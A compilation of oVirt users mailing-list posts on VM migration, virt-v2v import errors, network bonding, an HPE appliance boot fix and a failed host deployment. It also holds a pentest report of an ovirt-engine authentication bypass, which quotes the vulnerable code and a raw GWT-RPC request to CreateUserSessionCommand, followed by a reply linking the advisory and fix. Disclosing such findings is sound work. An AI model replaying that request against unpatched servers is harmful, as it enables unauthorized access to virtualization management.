[ovirt-users] Re: [External] : moving VMs from old oVirt to new

[Simon Coter via Users]

Hi,

I would proceed in this way:


  *   upgrade of the existing environment
  *   add new nodes/hosts to the existing environment
  *   create new storage domain(s) on the new storage
  *   live (or not) migrate VMs from old storage domain(s) to new storage 
domain(s)
  *   drop/delete old storage domains
  *   remove old compute nodes from the cluster/datacenter

Simon

On Aug 13, 2024, at 1:41 AM, Diggy Mc  wrote:

Since export domains have been deprecated starting with oVirt v4.4, what is the 
preferred/best method for moving VMs from an old oVirt environment into a new 
oVirt environment?  The two environments are totally independent of each other 
and therefore need an intermediary.
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[ovirt-users] Re: [External] : Importing VM from Vmware

[Simon Coter via Users]

Which “virt-v2v” release are you running/using ?

Simon

> On Jun 1, 2024, at 3:43 PM, dom...@gmail.com wrote:
> 
> Hi,
> 
> Migrating VMs from Vmware works nice in the UI but it's slow.
> With 
> https://blogs.oracle.com/scoter/post/how-to-migrate-vmware-vsphere-to-oracle-linux-kvm
>  i'm trying to import exported VM
> 
> virt-v2v \
>  –o rhv-upload \
>  –oc https:///ovirt-engine/api \
>  -op /root/olvm-admin-password-file \
>  -oo rhv-cacert=/root/ovirt-cacert.pem \
>  -oo rhv-cluster= \
>  -os  \
>  -of qcow2 \
>  -oo rhv-direct \
>  --network  \
>  -i libvirtxml 
> 
> I tried everything possible but still there is an error
> virt-v2v: error: no -oo (output options) are allowed here
> 
> If reporting bugs, run virt-v2v with debugging enabled and include the
> complete output:
> 
>  virt-v2v -v -x [...]
> 
> 
> Any idea?
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[ovirt-users] Re: [External] : Cannot create bond

[Simon Coter via Users]

> On May 6, 2024, at 5:46 PM, dcaam...@apexutilities.ca wrote:
> 
> Hello Simon,
> 
> My apologies for the late replay. I was able to fix the issue, it turns out 
> that even though I was following the instructions, somehow, I ended up 
> installing version 4.5 on the KVM Manage Engine, but 4.4 on the KVM hosts.
> 
> In order to be able to create the network bond in OLVM the following packages 
> are required:
> - kernel-uek-5.15.0-203.146.5.1.el8uek.x86_64.rpm
> - nmstate-1.4.5-2.0.1.el8_9.x86_64.rpm
> - nispor-1.2.15-1.el8.x86_64.rpm
> 
> The KVM hosts had the kernel and nmstate with the correct version; however, 
> nispor was on 1.2.10.
> 
> It turns out that nispor 1.2.15 is included only in version 4.5 in the Oracle 
> repositories.  Once I updated my KVM hosts to 4.5 I was able to create the 
> network bonds.

Right, we’re working to get the same nispor updated package available for 4.4 
too.

Simon

> 
> I hope this helps someone in the future.
> 
> Have a great day.
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[ovirt-users] Re: [External] : Cannot create bond

[Simon Coter via Users]

Seems to be a known issue for OLVM.
I would suggest to update all the systems to the latest packages.
We’ve fixed this issue in updated nispor, nmstate and kernel-uek packages.

Simon

Sent from my iPhone

> On May 4, 2024, at 3:14 PM, dcaam...@apexutilities.ca wrote:
> 
> Hello,
> 
> I recently deploy two KVM hosts and one KVM engine.  things seem to be 
> working good so far; however, I cannot create bonds in my KVM hosts.  I have 
> 4 interfaces, two enabled (cable connected) and two disabled (cable 
> unplugged, not needed at the moment).  The ovirmgmt network is running on one 
> of the active interfaces.
> 
> I have done the following:
> Create LACP bond with both connected interfaces.
> Create Load-balancing XOR bond with both connected interfaces.
> Create LACP bond with both unplugged interfaces.
> Create Load-balancing XOR bond with both unplugged interfaces.
> Create LACP bond with one connected and one unplugged interface.
> Create Load-balancing XOR bond with one connected and one interfaces.
> Remove server from KVM engine, create bond at the host level using cockpit, 
> try to add the host back into KVM cluster.
> 
> None of the options i have tried successfully create the bond in the KVM 
> cluster.
> 
> I will appreciate your assistance in getting this to work.
> 
> Environment details
> OS on all servers: Oracle Linux 8.9 with kernel 
> 5.15.0-205.149.5.1.el8uek.x86_64
> KVM engine: running on a virtual machine in vCenter
> KVM hosts: physical servers
> Software version: 4.5.4-1.0.31.el8
> 
> Thank you
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[ovirt-users] Re: [External] : Re: Ovirt Hyperconverged

[Simon Coter via Users]

Hi Thomas,

some feedback from Oracle:

On Apr 17, 2024, at 5:12 PM, Thomas Hoberg  wrote:

I've tried to re-deploy oVirt 4.3 on CentOS7 servers because I had managed to 
utterly destroy a HCI farm, where most VMs had migrated to Oracles variant of 
RHV 4.4 on Oracle Linux. I guess I grew a bit careless towards its end.

Mostly it was just an academic exercise to see if it could be resurrected... I 
was much happier with the Oracle variant anyway.

Good to know!


And I've hit similar issues all over the place: the ansible scripts and/or the 
python packages they interact with are utterly broken with now years of 
completely disjunct bug-fixing going on.

The underlying CentOS 7 packages continue in maintenance (some more weeks to 
go..), but the oVirt 4.3 on top has been unmaintained for years.

Since these are just sanity checks, I deleted all of them, one after the other 
(and there is lots of them!), and I eventually got it to work again.

Don't have a single VM on it, though, because you can't trust it, the hardware 
is ancient and it really was just a finger exercise at that stage. With CentOS 
7 going out of support now, it's really messing with a corpse.

I'm currently operating Oracle's 4.4 variant running on their Linux, too, which 
still has Gluster based HCI built-in, even if they don't mention it at all.

We mention it on our docs: 
https://docs.oracle.com/en/virtualization/oracle-linux-virtualization-manager/getstart/getstarted-hosted-engine-deploy.html#he-deploy-prereqs
 and it’s still there for 4.5 release.


Just make sure you switch their Unbreakable Linux kernel for the Redhat variant 
everywhere, otherwise you'll risk all kinds of nasties.

We support both UEK and RHCK (Red Hat Compatible Kernel); if an issue is there, 
we want to know :)


It's been way more stable than oVirt 4.3 ever was, but that doesn't mean it's 
"enterprise": that was always one fat big exaggeration, withful thinking, 
whatever.

This is due to oVirt people and our own testing too! oVirt 4.4 is, for sure, 
more stable too.


And don't fall for their 4.5 variant, that came out end of last year: that one 
doesn't support HCI any more and actually seems to fail withOUT their 
Enterprise Linux kernels.

We still support HCI and we still support our own kernel (UEK) as well as the 
Red Hat Compatible one.


And no, it doesn't run on EL9 either, that might take another year or so, as 
Oracle's oVirt implementation is almost a year behind oVirt at the moment.

This is our choice; we today have the same UEK7 kernel (5.15.0-x) available for 
OL8 and OL9 and we do not see any reason to force our customers/users to 
upgrade to 9.

Simon

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[ovirt-users] Re: [External] : Re: HPE Oneview KVM appliance 8.8.0 / 8.7.0

[Simon Coter via Users]

Hi Angus,

we could try to do our best, even if this one is an appliance coming from HPE.
It could also help if you share access to the appliance to me as well as on the 
SR opened.
And, please, share the SR number you created.
Thanks

Simon

On Apr 11, 2024, at 2:42 PM, Angus Clarke  wrote:

Hi Gianluca

Thank you for the detailed instructions - these were excellent, I wasn't aware 
of the "lsinitrd" command before now - thanks!

My VM still sticks at the same point when booting with the virtio-scsi 
configuration. Meh!

I'm encouraged that the image booted ok in your environment => points to 
something specific to my environment.

I've raised a case with Oracle as we are using OLVM. I don't think they'll take 
an interest, let's see. If I get anywhere I'll report back here for the record.

Thanks again
Angus



 On Wed, 10 Apr 2024 23:59:22 +0200 Gianluca Cecchi 
 wrote ---

On Wed, Apr 10, 2024 at 12:29 PM Angus Clarke 
mailto:an...@ajct.uk>> wrote:
Hi Gianluca

The software is free from HPE but requires a login, I've shared a link 
separately.

Thanks for taking an interest

Regards
Angus

Apart from other considerations we are privately sharing, in my env that is 
based on Cascade Lake cpu on the host, with local storage domain on filesystem, 
the appliance is able to boot and complete the initial configuration phase 
using your settings: Chipset i440FX w/Bios for the IDE disk type, OS: RHEL7 
x86_64. In my env graphics protocol=VNC, video type=VGA
The constraint for your tweaks is caused by the appliance's operating system 
where all the virtio modules are compiled as modules and they are not included 
into the initramfs.
So the system doesn't find the boot disk if you set it as virtio or virtio-scsi.
The layout is of bios type with one partition for /boot and other filesystems 
on LVM, / included.
To modify the qcow2 image you can use some tools out there, or use manual steps 
this way:

. connect the disk to an existing rhel 7 / CentOS 7 helper VM where you have 
lvm2 package installed
In my case my VM has one disk named /dev/sda and the HPE qcow2 disk when added 
is then seen as /dev/sdb and its partitions as /dev/sdb1, ...
IMPORTANT: change the disk names below as it appears the appliance disk in your 
env, otherwise you risk to compromise your existing data!!!

IMPORTANT: inside the appliance disk there is a volume group named vg01. Verify 
there is no vg01 volume group already defined in your helper VM otherwise you 
get into troubles

. connect to the helper VM as root user

. the LVM structure of the added disk (PV/VG/LV) should be automatically 
detected
run the command "vgs" and you should see vg01 volume group listed
run the command "lvs vg01" and you should see some logical volumes listed


. mount the root filesystem of the appliance disk on a directory in your helper 
VM (on /media directory in my case)
# mount /dev/vg01/lv_root /media/

. mount the /boot filesystem of the appliance disk under /media/boot
# mount /dev/sdb1 /media/boot/

. mount the /var filesystem of the appliance disk under /media/var
# mount /dev/vg01/lv_var /media/var/

. chroot into the appliance disk env
# chroot /media

. create a file with new kernel driver modules you want to include in the new 
initramfs
# vi /etc/dracut.conf.d/virtio.conf

its contents have to be this one line below (similar to the already present 
platform.conf):
# cat /etc/dracut.conf.d/virtio.conf
add_drivers+="virtio virtio_blk virtio_scsi"

. backup the original initramfs
# cp -p /boot/initramfs-3.10.0-1062.1.2.el7.x86_64.img 
/boot/initramfs-3.10.0-1062.1.2.el7.x86_64.bak

. replace the initramfs
# dracut -fv /boot/initramfs-3.10.0-1062.1.2.el7.x86_64.img 
3.10.0-1062.1.2.el7.x86_64
...
*** Creating image file done ***
*** Creating initramfs image file 
'/boot/initramfs-3.10.0-1062.1.2.el7.x86_64.img' done ***
#

. verify the new contents include virtio modules

# lsinitrd /boot/initramfs-3.10.0-1062.1.2.el7.x86_64.img | grep virtio
-rw-r--r--   1 root root 7876 Sep 30  2019 
usr/lib/modules/3.10.0-1062.1.2.el7.x86_64/kernel/drivers/block/virtio_blk.ko.xz
-rw-r--r--   1 root root12972 Sep 30  2019 
usr/lib/modules/3.10.0-1062.1.2.el7.x86_64/kernel/drivers/char/virtio_console.ko.xz
-rw-r--r--   1 root root14304 Sep 30  2019 
usr/lib/modules/3.10.0-1062.1.2.el7.x86_64/kernel/drivers/net/virtio_net.ko.xz
-rw-r--r--   1 root root 8188 Sep 30  2019 
usr/lib/modules/3.10.0-1062.1.2.el7.x86_64/kernel/drivers/scsi/virtio_scsi.ko.xz
drwxr-xr-x   2 root root0 Apr 10 21:14 
usr/lib/modules/3.10.0-1062.1.2.el7.x86_64/kernel/drivers/virtio
-rw-r--r--   1 root root 4552 Sep 30  2019 
usr/lib/modules/3.10.0-1062.1.2.el7.x86_64/kernel/drivers/virtio/virtio.ko.xz
-rw-r--r--   1 root root 9904 Sep 30  2019 
usr/lib/modules/3.10.0-1062.1.2.el7.x86_64/k

[ovirt-users] Re: Abnormal behavior on the reinstalled host

[Jirka Simon]

Hi, unfortunately it is current behavior :-(  you need to update all 
nodes to the same version and it will work,


the same for me, one updated node  didn't work for migration, bud stop 
and start ov VM worked.  when I updated second node migration between 
new nodes was OK but between old and new not. when i updated all to the 
latest version,  everything is OK.


it is really strange and it started couple months ago.

Jirka


On 3/21/24 09:30, Ricardo OT wrote:

Hello,
it is possible that I have not explained it well.
Does anyone know why I can't migrate VMs to the host I just reinstalled and 
added to my three server cluster?

And why can't I open the noVNC remote console on this host if I boot the VM on 
it?

Finally, why can't I activate the node after putting it in maintenance mode 
without having to reinstall it from the engine console?

Thanks you so much for your helps.
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[ovirt-users] Re: install node on centos stream 9 fails with message NetworkNotFoundError

[Jirka Simon]

Hello there.

so I found that the similar issue was already reported here,

reason is that during th einstalation tasks from playbook

/usr/share/ovirt-engine/ansible-runner-service-project/project/roles/ovirt-provider-ovn-driver/tasks/configure.yml

in task

```- name: Configure OVN for oVirt
 ansible.builtin.command: >
 vdsm-tool ovn-config {{ ovn_central  }} {{ 
ovn_tunneling_interface }} {{ ovn_host_fqdn }}


```

variable {{ ovn_central  }} is empty.  then vdsm-tool ovn-confighas only 
2 parameters and it fails.



Jirka


On 3/11/24 11:34, Jirka Simon wrote:


Hello oVirt community.


i just tried to add a new host(wh refresh) to our cluster with 
installed Centos Stream 9, bud  ovirt installation fails with message 
network not found.



there are 4 NICs (2SPF one of them is configured) and 2 ethenrent 
which are not configured and are down



here is end instalation log.  any hint what can I check ?


2024-03-11 11:21:44 CET - {
 "uuid" : "c43fec42-2838-4319-8f00-adaf24351341",
 "counter" : 412,
 "stdout" : "fatal: [ovirt1.domain.tld]: FAILED! => {\"changed\": 
true, \"cmd\": [\"vdsm-tool\", \"ovn-config\", \"10.36.191.11\", 
\"ovirt1.domain.tld\"], \"delta\": \"0:00:02.236199\", \"end\": 
\"2024-03-11 11:21:43.909643\", \"msg\": \"non-zero
return code\", \"rc\": 1, \"start\": \"2024-03-11 11:21:41.673444\", 
\"stderr\": \"Traceback (most recent call last):\\n  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\\\", line 
117, in get_network\\n    return networks[net_name]\\n
KeyError: 'ovirt1.domain.tld'\\n\\nDuring handling of the above 
exception, another exception occurred:\\n\\nTraceback (most recent 
call last):\\n  File \\\"/usr/bin/vdsm-tool\\\", line 195, in 
main\\n    return tool_command[cmd][\\\"command\\\"](*arg
s)\\n  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\\\", line 
63, in ovn_config\\n    ip_address = 
get_ip_addr(get_network(network_caps(), net_name))\\n  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\\\", line 11
9, in get_network\\n    raise 
NetworkNotFoundError(net_name)\\nvdsm.tool.ovn_config.NetworkNotFoundError: 
ovirt1.domain.tld\", \"stderr_lines\": [\"Traceback (most recent call 
last):\", \"  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_conf
ig.py\\\", line 117, in get_network\", \"    return 
networks[net_name]\", \"KeyError: 'ovirt1.domain.tld'\", \"\", 
\"During handling of the above exception, another exception 
occurred:\", \"\", \"Traceback (most recent call last):\", \" File 
\\\"/us
r/bin/vdsm-tool\\\", line 195, in main\", \"    return 
tool_command[cmd][\\\"command\\\"](*args)\", \"  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\\\", line 
63, in ovn_config\", \"    ip_address = get_ip_addr(get_network(network_c
aps(), net_name))\", \"  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\\\", line 
119, in get_network\", \"    raise NetworkNotFoundError(net_name)\", 
\"vdsm.tool.ovn_config.NetworkNotFoundError: ovirt1.domain.tld\"], 
\"stdout\": \

"\", \"stdout_lines\": []}",
 "start_line" : 414,
 "end_line" : 415,
 "runner_ident" : "ca3d44fb-7482-481b-97d3-66f2ba7c9d0b",
 "event" : "runner_on_failed",
 "pid" : 1520750,
 "created" : "2024-03-11T10:21:43.926054",
 "parent_uuid" : "00163e21-72be-4886-1543-0042",
 "event_data" : {
   "playbook" : "ovirt-host-deploy.yml",
   "playbook_uuid" : "4aa34ee9-1be3-4377-a573-ef33d837d406",
   "play" : "all",
   "play_uuid" : "00163e21-72be-4886-1543-0002",
   "play_pattern" : "all",
   "task" : "Configure OVN for oVirt",
   "task_uuid" : "00163e21-72be-4886-1543-0042",
   "task_action" : "ansible.builtin.command",
   "task_args" : "",
   "task_path" : 
"/usr/share/ovirt-engine/ansible-runner-service-project/project/roles/ovirt-provider-ovn-driver/tasks/configure.yml:43",

   "role" : "ovirt-provider-ovn-driver",
   "host" : "ovirt1.domain.tld",
   "remote_addr" : "ovirt1.domain.tld",
   "res" : {
 "changed" : true,
 "stdout" : ""

[ovirt-users] Re: install node on centos stream 9 fails with message NetworkNotFoundError

[Jirka Simon]

Any Hint?

it is not problem omlo on centos9 the same error message i get on centos 
stream 8.



it is server with 2 metallic network interfaces and 2 SFP interfaces.

Jirka



On 3/11/24 11:34, Jirka Simon wrote:


Hello oVirt community.


i just tried to add a new host(wh refresh) to our cluster with 
installed Centos Stream 9, bud  ovirt installation fails with message 
network not found.



there are 4 NICs (2SPF one of them is configured) and 2 ethenrent 
which are not configured and are down



here is end instalation log.  any hint what can I check ?


2024-03-11 11:21:44 CET - {
 "uuid" : "c43fec42-2838-4319-8f00-adaf24351341",
 "counter" : 412,
 "stdout" : "fatal: [ovirt1.domain.tld]: FAILED! => {\"changed\": 
true, \"cmd\": [\"vdsm-tool\", \"ovn-config\", \"10.36.191.11\", 
\"ovirt1.domain.tld\"], \"delta\": \"0:00:02.236199\", \"end\": 
\"2024-03-11 11:21:43.909643\", \"msg\": \"non-zero
return code\", \"rc\": 1, \"start\": \"2024-03-11 11:21:41.673444\", 
\"stderr\": \"Traceback (most recent call last):\\n  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\\\", line 
117, in get_network\\n    return networks[net_name]\\n
KeyError: 'ovirt1.domain.tld'\\n\\nDuring handling of the above 
exception, another exception occurred:\\n\\nTraceback (most recent 
call last):\\n  File \\\"/usr/bin/vdsm-tool\\\", line 195, in 
main\\n    return tool_command[cmd][\\\"command\\\"](*arg
s)\\n  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\\\", line 
63, in ovn_config\\n    ip_address = 
get_ip_addr(get_network(network_caps(), net_name))\\n  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\\\", line 11
9, in get_network\\n    raise 
NetworkNotFoundError(net_name)\\nvdsm.tool.ovn_config.NetworkNotFoundError: 
ovirt1.domain.tld\", \"stderr_lines\": [\"Traceback (most recent call 
last):\", \"  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_conf
ig.py\\\", line 117, in get_network\", \"    return 
networks[net_name]\", \"KeyError: 'ovirt1.domain.tld'\", \"\", 
\"During handling of the above exception, another exception 
occurred:\", \"\", \"Traceback (most recent call last):\", \" File 
\\\"/us
r/bin/vdsm-tool\\\", line 195, in main\", \"    return 
tool_command[cmd][\\\"command\\\"](*args)\", \"  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\\\", line 
63, in ovn_config\", \"    ip_address = get_ip_addr(get_network(network_c
aps(), net_name))\", \"  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\\\", line 
119, in get_network\", \"    raise NetworkNotFoundError(net_name)\", 
\"vdsm.tool.ovn_config.NetworkNotFoundError: ovirt1.domain.tld\"], 
\"stdout\": \

"\", \"stdout_lines\": []}",
 "start_line" : 414,
 "end_line" : 415,
 "runner_ident" : "ca3d44fb-7482-481b-97d3-66f2ba7c9d0b",
 "event" : "runner_on_failed",
 "pid" : 1520750,
 "created" : "2024-03-11T10:21:43.926054",
 "parent_uuid" : "00163e21-72be-4886-1543-0042",
 "event_data" : {
   "playbook" : "ovirt-host-deploy.yml",
   "playbook_uuid" : "4aa34ee9-1be3-4377-a573-ef33d837d406",
   "play" : "all",
   "play_uuid" : "00163e21-72be-4886-1543-0002",
   "play_pattern" : "all",
   "task" : "Configure OVN for oVirt",
   "task_uuid" : "00163e21-72be-4886-1543-0042",
   "task_action" : "ansible.builtin.command",
   "task_args" : "",
   "task_path" : 
"/usr/share/ovirt-engine/ansible-runner-service-project/project/roles/ovirt-provider-ovn-driver/tasks/configure.yml:43",

   "role" : "ovirt-provider-ovn-driver",
   "host" : "ovirt1.domain.tld",
   "remote_addr" : "ovirt1.domain.tld",
   "res" : {
 "changed" : true,
 "stdout" : "",
 "stderr" : "Traceback (most recent call last):\n  File 
\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\", line 
117, in get_network\n    return networks[net_name]\nKeyError: 
'ovirt1.domain.tld'\n\nDuring handling of the above exceptio
n, another exception occurred:\n\nTraceback (most recent call 
last):\n  Fi

[ovirt-users] install node on centos stream 9 fails with message NetworkNotFoundError

[Jirka Simon]

Hello oVirt community.


i just tried to add a new host(wh refresh) to our cluster with installed 
Centos Stream 9, bud  ovirt installation fails with message network not 
found.



there are 4 NICs (2SPF one of them is configured) and 2 ethenrent which 
are not configured and are down



here is end instalation log.  any hint what can I check ?


2024-03-11 11:21:44 CET - {
 "uuid" : "c43fec42-2838-4319-8f00-adaf24351341",
 "counter" : 412,
 "stdout" : "fatal: [ovirt1.domain.tld]: FAILED! => {\"changed\": true, 
\"cmd\": [\"vdsm-tool\", \"ovn-config\", \"10.36.191.11\", 
\"ovirt1.domain.tld\"], \"delta\": \"0:00:02.236199\", \"end\": 
\"2024-03-11 11:21:43.909643\", \"msg\": \"non-zero
return code\", \"rc\": 1, \"start\": \"2024-03-11 11:21:41.673444\", 
\"stderr\": \"Traceback (most recent call last):\\n  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\\\", line 
117, in get_network\\n    return networks[net_name]\\n
KeyError: 'ovirt1.domain.tld'\\n\\nDuring handling of the above 
exception, another exception occurred:\\n\\nTraceback (most recent call 
last):\\n  File \\\"/usr/bin/vdsm-tool\\\", line 195, in main\\n    
return tool_command[cmd][\\\"command\\\"](*arg
s)\\n  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\\\", line 
63, in ovn_config\\n    ip_address = 
get_ip_addr(get_network(network_caps(), net_name))\\n  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\\\", line 11
9, in get_network\\n    raise 
NetworkNotFoundError(net_name)\\nvdsm.tool.ovn_config.NetworkNotFoundError: 
ovirt1.domain.tld\", \"stderr_lines\": [\"Traceback (most recent call 
last):\", \"  File \\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_conf
ig.py\\\", line 117, in get_network\", \"    return 
networks[net_name]\", \"KeyError: 'ovirt1.domain.tld'\", \"\", \"During 
handling of the above exception, another exception occurred:\", \"\", 
\"Traceback (most recent call last):\", \"  File \\\"/us
r/bin/vdsm-tool\\\", line 195, in main\", \"    return 
tool_command[cmd][\\\"command\\\"](*args)\", \"  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\\\", line 
63, in ovn_config\", \"    ip_address = get_ip_addr(get_network(network_c
aps(), net_name))\", \"  File 
\\\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\\\", line 
119, in get_network\", \"    raise NetworkNotFoundError(net_name)\", 
\"vdsm.tool.ovn_config.NetworkNotFoundError: ovirt1.domain.tld\"], 
\"stdout\": \

"\", \"stdout_lines\": []}",
 "start_line" : 414,
 "end_line" : 415,
 "runner_ident" : "ca3d44fb-7482-481b-97d3-66f2ba7c9d0b",
 "event" : "runner_on_failed",
 "pid" : 1520750,
 "created" : "2024-03-11T10:21:43.926054",
 "parent_uuid" : "00163e21-72be-4886-1543-0042",
 "event_data" : {
   "playbook" : "ovirt-host-deploy.yml",
   "playbook_uuid" : "4aa34ee9-1be3-4377-a573-ef33d837d406",
   "play" : "all",
   "play_uuid" : "00163e21-72be-4886-1543-0002",
   "play_pattern" : "all",
   "task" : "Configure OVN for oVirt",
   "task_uuid" : "00163e21-72be-4886-1543-0042",
   "task_action" : "ansible.builtin.command",
   "task_args" : "",
   "task_path" : 
"/usr/share/ovirt-engine/ansible-runner-service-project/project/roles/ovirt-provider-ovn-driver/tasks/configure.yml:43",

   "role" : "ovirt-provider-ovn-driver",
   "host" : "ovirt1.domain.tld",
   "remote_addr" : "ovirt1.domain.tld",
   "res" : {
 "changed" : true,
 "stdout" : "",
 "stderr" : "Traceback (most recent call last):\n  File 
\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\", line 117, 
in get_network\n    return networks[net_name]\nKeyError: 
'ovirt1.domain.tld'\n\nDuring handling of the above exceptio
n, another exception occurred:\n\nTraceback (most recent call last):\n  
File \"/usr/bin/vdsm-tool\", line 195, in main\n    return 
tool_command[cmd][\"command\"](*args)\n  File 
\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\", line 63, in ov
n_config\n    ip_address = get_ip_addr(get_network(network_caps(), 
net_name))\n  File 
\"/usr/lib/python3.9/site-packages/vdsm/tool/ovn_config.py\", line 119, 
in get_network\n    raise 
NetworkNotFoundError(net_name)\nvdsm.tool.ovn_config.NetworkNotFoundE

rror: ovirt1.domain.tld",
 "rc" : 1,
 "cmd" : [ "vdsm-tool", "ovn-config", "10.36.191.11", 
"ovirt1.domain.tld" ],

 "start" : "2024-03-11 11:21:41.673444",
 "end" : "2024-03-11 11:21:43.909643",
 "delta" : "0:00:02.236199",
 "msg" : "non-zero return code",
 "invocation" : {
   "module_args" : {
 "_raw_params" : "vdsm-tool ovn-config  10.36.191.11 
ovirt1.domain.tld\n",

 "_uses_shell" : false,
 "expand_argument_vars" : true,
 "stdin_add_newline" : true,
 "strip_empty_ends" : true,
 "argv" : null,
 "chdir" : null,
 "executable" : null,
 "creates" : null,
 "removes" : null,
 "stdin" : null
   }
 },
 "stdout_lines" : [ ],
 "stder

[ovirt-users] change iscsi auth on hosted engine storage domain

[Jirka Simon]

Hello oVirt community,

I have hosted engine on iSCSI storage without any authentication, I 
would like to change it. Is there any  way how to do it without redeploy 
hosted engine ?


Thank you for any help.


Jirka


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[ovirt-users] Re: Internal pentest result : Ovirt-engine authentication bypass

[Jirka Simon]

Hi  Sandro,

Thank you a lot.

Jirka


On 2/12/24 13:20, Sandro Bonazzola wrote:

Hi, thanks for reporting.
An advisory has been published: 
https://github.com/oVirt/ovirt-engine/security/advisories/GHSA-5p2q-85hp-rvxg 

and the fix has been released in ovirt-engine-4.5.6: 
https://github.com/oVirt/ovirt-engine/releases/tag/ovirt-engine-4.5.6

Builds are on their way to the mirrors.


Il giorno lun 15 gen 2024 alle ore 10:09 Jirka Simon  
ha scritto:


Hello ovirt comunity.

We had an internal pentest here and one finding is

*Ovirt-engine authentication bypass.*

Ovirt-engine, as deployed on ovirtm.XXX.XXX.cz
<http://ovirtm.XXX.XXX.cz>, contains an authentication bypass. It is

possible to directly call the CreateUserSessionCommand using
runAction exposed by /ovirt-
engine/webadmin/GenericApiGWTService.

*This action explicitly enables everyone to call it:*
```/
@Override
protected boolean isUserAuthorizedToRunAction() {
    return true;
}
/```

The behavior of this call differs based on the
ENGINE_SSO_ENABLE_EXTERNAL_SSO configuration
option:

```

/boolean externalSsoEnabled =

EngineLocalConfig.getInstance().getBoolean("ENGINE_SSO_ENABLE_EXTERNAL_SSO");
  DbUser dbUser = externalSsoEnabled ?
dbUserDao.getByUsernameAndDomain(params.getPrincipalName(),
authzName) :
    dbUserDao.getByExternalId(authzName,
params.getPrincipalId());/

```

If this option is enabled, usernames are used to locate users. If
it's disabled, the externalId
(which seems to be a randomly generated GUID) is used to locate users.
If the specified user exists, a session is returned for the user.
If the specified user doesn't exist,
the user is created in the system. However, the user doesn't get
assigned any group membership
or rights, therefore the session creation fails because of the
missing Login right.
The attempt to modify the users table can be seen in the SQL error
message when attempting to
use a null value for the username (as the endpoint uses GWT, the
payload is mostly unreadable):

```

/POST /ovirt-engine/webadmin/GenericApiGWTService HTTP/1.1
Host: ovirtm.xxx.xxx.cz <http://ovirtm.xxx.xxx.cz>

14

Final Report: Results of penetration testing (internal, external,
Wi-Fi)
21 December 2023

Cookie: JSESSIONID=wsp3WAo63LZGHfpB__stEt4lZ7z_zZycpzIprNlT.ovirtm45;
Content-Type: text/x-gwt-rpc; charset=utf-8
X-GWT-Module-Base: https://ovirtm.xxx.xx.cz/ovirt-engine/webadmin
X-GWT-Permutation: D7ECB5EF5E29205D18271CC08183A28D
Ovirt-Xsrf-Token:
4D87D03B631F8506FC668AA4C3FE3F443D723A9F379FDBB8B0D6DA0668650375
Content-Length: 869

7|0|23|https://ovirtm.xxx.xxx.cz/ovirt-

engine/webadmin|0D1B4DEE9D1424E18C443F1CD1C11574|org.ovirt.engine.ui.frontend.gwtservices.GenericApiGWT


Service|runAction|org.ovirt.engine.core.common.action.ActionType/2930387551|org.ovirt.engine.core.commo

n.action.ActionParametersBase/2903049429|org.ovirt.engine.core.common.action.CreateUserSessionParameter

s/2744166832|appScope|email|firstName|java.util.ArrayList/4159755760|lastName|namespace|principalId|adm

in|internal|sourceIp|ssoScope|ssoToken|org.ovirt.engine.core.common.action.ActionParametersBase$EndProc

edure/1568822488|java.util.Collections$EmptyMap/4174664486|org.ovirt.engine.core.common.businessentitie

s.VDSStatus/1938301532|org.ovirt.engine.core.compat.TransactionScopeOption/1475850853|1|2|3|4|2|5|6|5|2

01|7|0|8|9|10|11|0|12|13|14|0|16|17|18|19|0|5|0|0|0|0|20|1|0|11|0|0|0|0|0|0|21|0|-
4|22|0|1|0|1|23|2|0|0|0|
HTTP/1.1 200 OK
Date: Fri, 15 Dec 2023 09:42:35 GMT
Server: Apache/2.4.37 (CentOS Stream) OpenSSL/1.1.1k
mod_auth_gssapi/1.6.1
Expires: Thu, 14 Dec 2023 09:42:35 GMT
Cache-Control: no-cache, no-store, must-revalidate
Set-Cookie: locale=cs_CZ; path=/; secure; HttpOnly;
Max-Age=2147483647; Expires=Wed, 02-Jan-2092
12:56:42 GMT
X-XSS-PROTECTION: 1; MODE=BLOCK
Pragma: no-cache
X-FRAME-OPTIONS: SAMEORIGIN
Content-Disposition: attachment
X-CONTENT-TYPE-OPTIONS: NOSNIFF
Content-Length: 1794
Content-Type: application/json;charset=utf-8
Correlation-Id: 664c1c1f-9a75-4e14-94d7-aba12c5442f5
Connection: close

//OK[0,5,4,8,3,1,2,474,7,6,1,0,2,0,2,5,1,0,4,3,1,2,0,2,1,1,["org.ovirt.engine.core.common.action.Action

ReturnValue/4163585948","java.util.ArrayList/4159755760","java.lang.String/2004016611","ENGINE","","org

.ovirt.engine.core.common.errors.EngineFault/2377218566","org.ovirt.engine.core.common.errors.EngineErr
or/2640515959","ERROR: null value in column \"username\" violates
not-null constraint\n Detail:
Failing row contains (6dad5e2f-7c95-4547-8f08-6936494c91b6,

[ovirt-users] Internal pentest result : Ovirt-engine authentication bypass

[Jirka Simon]

Hello ovirt comunity.

We had an internal pentest here and one finding is

*Ovirt-engine authentication bypass.*

Ovirt-engine, as deployed on ovirtm.XXX.XXX.cz, contains an 
authentication bypass. It is


possible to directly call the CreateUserSessionCommand using runAction 
exposed by /ovirt-

engine/webadmin/GenericApiGWTService.

